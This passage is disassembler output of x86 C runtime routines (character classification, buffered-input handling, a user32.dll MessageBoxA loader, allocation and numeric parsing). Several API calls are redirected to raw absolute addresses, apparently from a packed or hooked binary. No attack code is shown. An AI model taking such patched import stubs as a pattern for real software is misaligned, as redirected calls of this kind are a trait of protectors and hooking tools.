		mov	ecx, off_4395A0
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420F39
		mov	eax, dword_4397AC
		cmp	eax, 1
		jle	short loc_420F20
		cmp	[ebp+arg_8], eax
		jl	short loc_420F2A
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_48A0B8
		nop
		call	near ptr 25F0000h
		test	eax, eax
		mov	eax, dword_4397AC
		jnz	short loc_420EBD

loc_420F20:				; CODE XREF: sub_420E98+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_420F2A
		cmp	[esi+1], bl
		jnz	short loc_420EBD

loc_420F2A:				; CODE XREF: sub_420E98+61j
					; sub_420E98+8Bj ...
		mov	dword_48A014, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------

loc_420F39:				; CODE XREF: sub_420E98+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_48A0B8
		call	near ptr 25F0000h
		nop
		test	eax, eax
		jnz	loc_420ED7
		jmp	short loc_420F2A
sub_420E98	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F60	proc near		; CODE XREF: sub_41D797+76p
					; sub_41D797+88p ...

arg_0		= dword	ptr  4

		cmp	dword_4397AC, 1
		jle	short loc_420F77
		push	8
		push	[esp+4+arg_0]
		call	sub_41A642
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_420F77:				; CODE XREF: sub_420F60+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_4395A0
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_420F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_420F90	proc near		; CODE XREF: sub_41D797+797p
					; sub_41D797+7E7p
		cmp	cl, 40h
		jnb	short loc_420FAA
		cmp	cl, 20h
		jnb	short loc_420FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_420FA0:				; CODE XREF: sub_420F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_420FAA:				; CODE XREF: sub_420F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_420F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_420FAF	proc near		; CODE XREF: sub_41E20D+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_420FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_420FCD
		test	al, 80h
		jz	short loc_420FFB
		test	al, 2
		jnz	short loc_420FFB

loc_420FCD:				; CODE XREF: sub_420FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_420FDA
		push	esi
		call	sub_41F9D8
		pop	ecx

loc_420FDA:				; CODE XREF: sub_420FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_420FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_420FFB
		inc	eax
		mov	[esi], eax

loc_420FEA:				; CODE XREF: sub_420FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_421001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_421007
		inc	eax
		mov	[esi], eax

loc_420FFB:				; CODE XREF: sub_420FAF+9j
					; sub_420FAF+18j ...
		or	eax, 0FFFFFFFFh

loc_420FFE:				; CODE XREF: sub_420FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_421001:				; CODE XREF: sub_420FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl

loc_421007:				; CODE XREF: sub_420FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_420FFE
sub_420FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42101D	proc near		; CODE XREF: ___:0041F15Ap

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_42102E
		add	esp, 0Ch
		retn
sub_42101D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42102E	proc near		; CODE XREF: sub_42101D+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_48B561[eax], cl
		jnz	short loc_42105B
		cmp	[esp+arg_4], 0
		jz	short loc_421054
		movzx	eax, word_4395AA[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_421056
; ---------------------------------------------------------------------------

loc_421054:				; CODE XREF: sub_42102E+16j
		xor	eax, eax

loc_421056:				; CODE XREF: sub_42102E+24j
		test	eax, eax
		jnz	short loc_42105B
		retn
; ---------------------------------------------------------------------------

loc_42105B:				; CODE XREF: sub_42102E+Fj
					; sub_42102E+2Aj
		push	1
		pop	eax
		retn
sub_42102E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42105F	proc near		; CODE XREF: sub_41F885+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_48A2DC, ebx
		push	esi
		push	edi
		jnz	short loc_4210AE
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26C0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4210E4
		mov	esi, dword_4240DC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_48A2DC, eax
		jz	short loc_4210E4
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_48A2E0, eax
		call	esi
		mov	dword_48A2E4, eax

loc_4210AE:				; CODE XREF: sub_42105F+Bj
		mov	eax, dword_48A2E0
		test	eax, eax
		jz	short loc_4210CD
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4210CD
		mov	eax, dword_48A2E4
		test	eax, eax
		jz	short loc_4210CD
		push	ebx
		call	eax
		mov	ebx, eax

loc_4210CD:				; CODE XREF: sub_42105F+56j
					; sub_42105F+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_48A2DC

loc_4210E0:				; CODE XREF: sub_42105F+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_4210E4:				; CODE XREF: sub_42105F+1Cj
					; sub_42105F+33j
		xor	eax, eax
		jmp	short loc_4210E0
sub_42105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210E8	proc near		; CODE XREF: sub_41FA42+22p
					; sub_41FA42+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_421109
		test	esi, esi
		jnz	short loc_421103
		push	1
		pop	esi

loc_421103:				; CODE XREF: sub_4210E8+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_421109:				; CODE XREF: sub_4210E8+12j
					; sub_4210E8+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_421168
		mov	eax, dword_48B688
		cmp	eax, 3
		jnz	short loc_421134
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_48B680
		ja	short loc_421153
		push	eax
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42117E
		jmp	short loc_421153
; ---------------------------------------------------------------------------

loc_421134:				; CODE XREF: sub_4210E8+30j
		cmp	eax, 2
		jnz	short loc_421153
		cmp	esi, dword_43B7E4
		ja	short loc_421153
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_421192

loc_421153:				; CODE XREF: sub_4210E8+3Bj
					; sub_4210E8+4Aj ...
		push	esi
		push	8
		push	dword_48B684
		nop
		call	near ptr 26D0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_42118C

loc_421168:				; CODE XREF: sub_4210E8+26j
		cmp	dword_48A074, 0
		jz	short loc_42118C
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jz	short loc_421195
		jmp	short loc_421109
; ---------------------------------------------------------------------------

loc_42117E:				; CODE XREF: sub_4210E8+48j
		push	[ebp+arg_0]

loc_421181:				; CODE XREF: sub_4210E8+ABj
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch

loc_42118C:				; CODE XREF: sub_4210E8+7Ej
					; sub_4210E8+87j
		mov	eax, edi

loc_42118E:				; CODE XREF: sub_4210E8+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421192:				; CODE XREF: sub_4210E8+69j
		push	esi
		jmp	short loc_421181
; ---------------------------------------------------------------------------

loc_421195:				; CODE XREF: sub_4210E8+92j
		xor	eax, eax
		jmp	short loc_42118E
sub_4210E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41FAE7

loc_421199:				; CODE XREF: sub_41FAE7+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_48B320, esi
		jle	short loc_4211EC

loc_4211A8:				; CODE XREF: sub_41FAE7+1703j
		mov	eax, dword_48A310
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4211E3
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_4211C7
		push	eax
		call	sub_417900
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4211C7
		inc	edi

loc_4211C7:				; CODE XREF: sub_41FAE7+16D1j
					; sub_41FAE7+16DDj
		cmp	esi, 14h
		jl	short loc_4211E3
		mov	eax, dword_48A310
		push	dword ptr [eax+esi*4]
		call	sub_417C3B
		mov	eax, dword_48A310
		pop	ecx
		and	dword ptr [eax+esi*4], 0

loc_4211E3:				; CODE XREF: sub_41FAE7+16CBj
					; sub_41FAE7+16E3j
		inc	esi
		cmp	esi, dword_48B320
		jl	short loc_4211A8

loc_4211EC:				; CODE XREF: sub_41FAE7+16BFj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41FAE7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4211F1	proc near		; CODE XREF: sub_41FEC6+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_417B30
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_48B440
		jnb	loc_421326
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_48B340[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_421326
		push	1
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_421330
		push	2
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_421330
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212D3
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_417330
		push	8000h
		push	ebx
		call	sub_421E2B
		add	esp, 14h
		mov	[ebp+arg_4], eax

loc_421287:				; CODE XREF: sub_4211F1+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_421292
		mov	eax, edi

loc_421292:				; CODE XREF: sub_4211F1+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4212B0
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212C6
		jmp	short loc_421287
; ---------------------------------------------------------------------------

loc_4212B0:				; CODE XREF: sub_4211F1+B5j
		cmp	dword_48A018, 5
		jnz	short loc_4212C3
		mov	dword_48A014, 0Dh

loc_4212C3:				; CODE XREF: sub_4211F1+C6j
		or	esi, 0FFFFFFFFh

loc_4212C6:				; CODE XREF: sub_4211F1+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_421E2B
		pop	ecx
		pop	ecx
		jmp	short loc_421313
; ---------------------------------------------------------------------------

loc_4212D3:				; CODE XREF: sub_4211F1+71j
		jge	short loc_421313
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41E517
		push	ebx
		call	sub_41FE32
		add	esp, 10h
		push	eax
		call	near ptr 2590000h
		nop
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_421313
		mov	dword_48A014, 0Dh
		nop
		call	near ptr 2610941h
		mov	dword_48A018, eax

loc_421313:				; CODE XREF: sub_4211F1+E0j
					; sub_4211F1:loc_4212D3j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_421333
; ---------------------------------------------------------------------------

loc_421326:				; CODE XREF: sub_4211F1+1Aj
					; sub_4211F1+36j
		mov	dword_48A014, 9

loc_421330:				; CODE XREF: sub_4211F1+4Ej
					; sub_4211F1+63j
		or	eax, 0FFFFFFFFh

loc_421333:				; CODE XREF: sub_4211F1+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4211F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_421337	proc near		; CODE XREF: sub_420331+2Bp
					; sub_420331+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_42134D
		cmp	ecx, esi
		jnb	short loc_421350

loc_42134D:				; CODE XREF: sub_421337+10j
		push	1
		pop	eax

loc_421350:				; CODE XREF: sub_421337+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_421337	endp


; =============== S U B	R O U T	I N E =======================================



sub_421358	proc near		; CODE XREF: sub_421411+40p
					; sub_421411+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		inc	dword ptr [esi+8]

loc_42138A:				; CODE XREF: sub_421358+19j
					; sub_421358+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4213A2
		inc	dword ptr [esi+8]

loc_4213A2:				; CODE XREF: sub_421358+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_421358	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213B6	proc near		; CODE XREF: sub_421411+30p
					; sub_421411+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4213B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213E4	proc near		; CODE XREF: sub_4219A9+1C8p
					; sub_421EA1+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4213E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421411	proc near		; CODE XREF: sub_4214D8+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_421485
		push	edi
		mov	[ebp+arg_8], eax

loc_421438:				; CODE XREF: sub_421411+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4213B6
		push	ebx
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		push	ebx
		call	sub_4213B6
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_421438
		xor	edx, edx
		pop	edi

loc_421485:				; CODE XREF: sub_421411+21j
					; sub_421411+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4214B2
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_421485
; ---------------------------------------------------------------------------

loc_4214B2:				; CODE XREF: sub_421411+77j
		mov	esi, 8000h

loc_4214B7:				; CODE XREF: sub_421411+B9j
		test	[ebx+8], esi
		jnz	short loc_4214CC
		push	ebx
		call	sub_4213B6
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4214B7
; ---------------------------------------------------------------------------

loc_4214CC:				; CODE XREF: sub_421411+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_421411	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4214D8	proc near		; CODE XREF: sub_42067A+17p
					; sub_4206A7+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi

loc_421513:				; CODE XREF: sub_4214D8+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_421529
		cmp	cl, 9
		jz	short loc_421529
		cmp	cl, 0Ah
		jz	short loc_421529
		cmp	cl, 0Dh
		jnz	short loc_42152C

loc_421529:				; CODE XREF: sub_4214D8+40j
					; sub_4214D8+45j ...
		inc	edi
		jmp	short loc_421513
; ---------------------------------------------------------------------------

loc_42152C:				; CODE XREF: sub_4214D8+4Fj
		push	4
		pop	esi

loc_42152F:				; CODE XREF: sub_4214D8+AEj
					; sub_4214D8+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4217B2	; default
					; jumptable 0042153B case 10
		jmp	off_421979[eax*4] ; switch jump

loc_421542:				; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 0
		jl	short loc_421553
		cmp	bl, 39h
		jg	short loc_421553

loc_42154C:				; CODE XREF: sub_4214D8+C4j
					; sub_4214D8+118j
		push	3
		jmp	loc_421770
; ---------------------------------------------------------------------------

loc_421553:				; CODE XREF: sub_4214D8+6Dj
					; sub_4214D8+72j
		cmp	bl, byte_4397B0
		jnz	short loc_421562

loc_42155B:				; CODE XREF: sub_4214D8+124j
		push	5
		jmp	loc_4217A8
; ---------------------------------------------------------------------------

loc_421562:				; CODE XREF: sub_4214D8+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_421588
		dec	eax
		dec	eax
		jz	short loc_42157C
		sub	eax, 3
		jnz	loc_42184B
		jmp	loc_42160B
; ---------------------------------------------------------------------------

loc_42157C:				; CODE XREF: sub_4214D8+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------

loc_421588:				; CODE XREF: sub_4214D8+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------

loc_421591:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 1
		mov	[ebp+var_10], edx
		jl	short loc_42159E
		cmp	bl, 39h
		jle	short loc_42154C

loc_42159E:				; CODE XREF: sub_4214D8+BFj
		cmp	bl, byte_4397B0
		jz	loc_421666
		cmp	bl, 2Bh
		jz	short loc_4215E0
		cmp	bl, 2Dh
		jz	short loc_4215E0
		cmp	bl, 30h
		jz	short loc_42160B

loc_4215B9:				; CODE XREF: sub_4214D8+207j
		cmp	bl, 43h
		jle	loc_42184B
		cmp	bl, 45h
		jle	short loc_4215D9
		cmp	bl, 63h
		jle	loc_42184B
		cmp	bl, 65h
		jg	loc_42184B

loc_4215D9:				; CODE XREF: sub_4214D8+EDj
		push	6
		jmp	loc_4217A8
; ---------------------------------------------------------------------------

loc_4215E0:				; CODE XREF: sub_4214D8+D5j
					; sub_4214D8+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4217A8
; ---------------------------------------------------------------------------

loc_4215E8:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 2
		jl	short loc_4215F6
		cmp	bl, 39h
		jle	loc_42154C

loc_4215F6:				; CODE XREF: sub_4214D8+113j
		cmp	bl, byte_4397B0
		jz	loc_42155B
		cmp	bl, 30h
		jnz	loc_4217C0

loc_42160B:				; CODE XREF: sub_4214D8+9Fj
					; sub_4214D8+DFj
		mov	eax, edx
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_421612:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_10], edx ; jumptable 0042153B case 3

loc_421615:				; CODE XREF: sub_4214D8+184j
		cmp	dword_4397AC, edx
		jle	short loc_42162E
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42163C
; ---------------------------------------------------------------------------

loc_42162E:				; CODE XREF: sub_4214D8+143j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_42163C:				; CODE XREF: sub_4214D8+154j
		test	eax, eax
		jz	short loc_42165E
		cmp	[ebp+var_4], 19h
		jnb	short loc_421656
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_421659
; ---------------------------------------------------------------------------

loc_421656:				; CODE XREF: sub_4214D8+16Cj
		inc	[ebp+var_8]

loc_421659:				; CODE XREF: sub_4214D8+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421615
; ---------------------------------------------------------------------------

loc_42165E:				; CODE XREF: sub_4214D8+166j
		cmp	bl, byte_4397B0
		jnz	short loc_4216CD

loc_421666:				; CODE XREF: sub_4214D8+CCj
		mov	eax, esi
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_42166D:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	[ebp+var_4], 0	; jumptable 0042153B case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_421686

loc_421679:				; CODE XREF: sub_4214D8+1ACj
		cmp	bl, 30h
		jnz	short loc_421686
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421679
; ---------------------------------------------------------------------------

loc_421686:				; CODE XREF: sub_4214D8+19Fj
					; sub_4214D8+1A4j ...
		cmp	dword_4397AC, edx
		jle	short loc_42169F
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4216AD
; ---------------------------------------------------------------------------

loc_42169F:				; CODE XREF: sub_4214D8+1B4j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_4216AD:				; CODE XREF: sub_4214D8+1C5j
		test	eax, eax
		jz	short loc_4216CD
		cmp	[ebp+var_4], 19h
		jnb	short loc_4216C8
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl

loc_4216C8:				; CODE XREF: sub_4214D8+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421686
; ---------------------------------------------------------------------------

loc_4216CD:				; CODE XREF: sub_4214D8+18Cj
					; sub_4214D8+1D7j
		cmp	bl, 2Bh
		jz	loc_4215E0
		cmp	bl, 2Dh
		jz	loc_4215E0
		jmp	loc_4215B9
; ---------------------------------------------------------------------------

loc_4216E4:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	dword_4397AC, edx ; jumptable 0042153B case 5
		mov	[ebp+var_24], edx
		jle	short loc_421700
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42170E
; ---------------------------------------------------------------------------

loc_421700:				; CODE XREF: sub_4214D8+215j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_42170E:				; CODE XREF: sub_4214D8+226j
		test	eax, eax
		jz	loc_4217C0
		mov	eax, esi
		jmp	short loc_421771
; ---------------------------------------------------------------------------

loc_42171A:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		lea	ecx, [edi-2]	; jumptable 0042153B case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_42172A
		cmp	bl, 39h
		jle	short loc_42176E

loc_42172A:				; CODE XREF: sub_4214D8+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4217A6
		dec	eax
		dec	eax
		jz	short loc_42179A
		sub	eax, 3
		jnz	loc_42184E

loc_42173F:				; CODE XREF: sub_4214D8+2A4j
		push	8
		jmp	short loc_4217A8
; ---------------------------------------------------------------------------

loc_421743:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_20], edx ; jumptable 0042153B case 8

loc_421746:				; CODE XREF: sub_4214D8+276j
		cmp	bl, 30h
		jnz	short loc_421750
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421746
; ---------------------------------------------------------------------------

loc_421750:				; CODE XREF: sub_4214D8+271j
		cmp	bl, 31h
		jl	loc_42184B
